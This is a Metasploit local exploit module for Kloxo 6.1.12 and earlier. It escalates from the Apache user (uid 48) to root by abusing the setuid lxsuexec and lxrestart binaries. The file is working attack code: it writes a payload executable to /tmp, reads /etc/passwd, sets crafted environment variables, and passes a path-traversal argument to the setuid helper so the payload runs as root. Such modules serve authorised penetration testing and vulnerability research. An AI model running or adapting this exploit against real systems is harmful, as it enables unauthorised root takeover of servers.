kloxo_lxsuexec.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Exploit::FileDropper

  include Msf::Exploit::Local::Linux

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Kloxo Local Privilege Escalation',
          'Description' => %q{
            Version 6.1.12 and earlier of Kloxo contain two setuid root binaries such as
            lxsuexec and lxrestart, allow local privilege escalation to root from uid 48,
            Apache by default on CentOS 5.8, the operating system supported by Kloxo.
            This module has been tested successfully with Kloxo 6.1.12 and 6.1.6.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'HTP', # Original PoC according to exploit-db
            'juan vazquez' # Metasploit module
          ],
          'Platform' => [ 'linux' ],
          'Arch' => [ ARCH_X86 ],
          'SessionTypes' => [ 'shell' ],
          'Payload' => {
            'Space' => 8000,
            'DisableNops' => true
          },
          'References' => [
            [ 'CVE', '2012-10022' ],
            [ 'EDB', '25406' ],
            [ 'OSVDB', '93287' ],
            [ 'URL', 'http://roothackers.net/showthread.php?tid=92' ] # post referencing the vulnerability and PoC
          ],
          'Targets' => [
            [ 'Kloxo 6.1.12', {} ]
          ],
          'DefaultOptions' => {
            'PrependSetuid' => true
          },
          'DefaultTarget' => 0,
          'Privileged' => true,
          'DisclosureDate' => '2012-09-18',
          'Notes' => {
            'Reliability' => UNKNOWN_RELIABILITY,
            'Stability' => UNKNOWN_STABILITY,
            'SideEffects' => UNKNOWN_SIDE_EFFECTS
          }
        }
      )
    )
  end

  def exploit
    # apache uid (48) is needed in order to abuse the setuid lxsuexec binary
    # .text:0804869D                 call    _getuid
    # .text:080486A2                 cmp     eax, 48
    # .text:080486A5                 jz      short loc_80486B6 // uid == 48 (typically apache on CentOS)
    # .text:080486A7                 mov     [ebp+var_A4], 0Ah
    # .text:080486B1                 jmp     loc_8048B62 // finish if uid != 48
    # .text:08048B62 loc_8048B62:                           ; CODE XREF: main+39j
    # .text:08048B62                                         ; main+B0j
    # .text:08048B62                 mov     eax, [ebp+var_A4]
    # .text:08048B68                 add     esp, 0ECh
    # .text:08048B6E                 pop     ecx
    # .text:08048B6F                 pop     esi
    # .text:08048B70                 pop     edi
    # .text:08048B71                 pop     ebp
    # .text:08048B72                 lea     esp, [ecx-4]
    # .text:08048B75                 retn
    # .text:08048B75 main            endp
    print_status("Checking actual uid...")
    id = cmd_exec("id -u")
    if id != "48"
      fail_with(Failure::NoAccess, "You are uid #{id}, you must be uid 48(apache) to exploit this")
    end

    # Write msf payload to /tmp and give provide executable perms
    pl = generate_payload_exe
    payload_path = "/tmp/#{rand_text_alpha(4)}"
    print_status("Writing payload executable (#{pl.length} bytes) to #{payload_path} ...")
    write_file(payload_path, pl)
    register_file_for_cleanup(payload_path)

    # Profit
    print_status("Exploiting...")
    cmd_exec("chmod +x #{payload_path}")
    cmd_exec("LXLABS=`grep lxlabs /etc/passwd | cut -d: -f3`")
    cmd_exec("export MUID=$LXLABS")
    cmd_exec("export GID=$LXLABS")
    cmd_exec("export TARGET=/bin/sh")
    cmd_exec("export CHECK_GID=0")
    cmd_exec("export NON_RESIDENT=1")
    helper_path = "/tmp/#{rand_text_alpha(4)}"
    write_file(helper_path, "/usr/sbin/lxrestart '../../..#{payload_path} #'")
    register_file_for_cleanup(helper_path)
    cmd_exec("lxsuexec #{helper_path}")
  end
end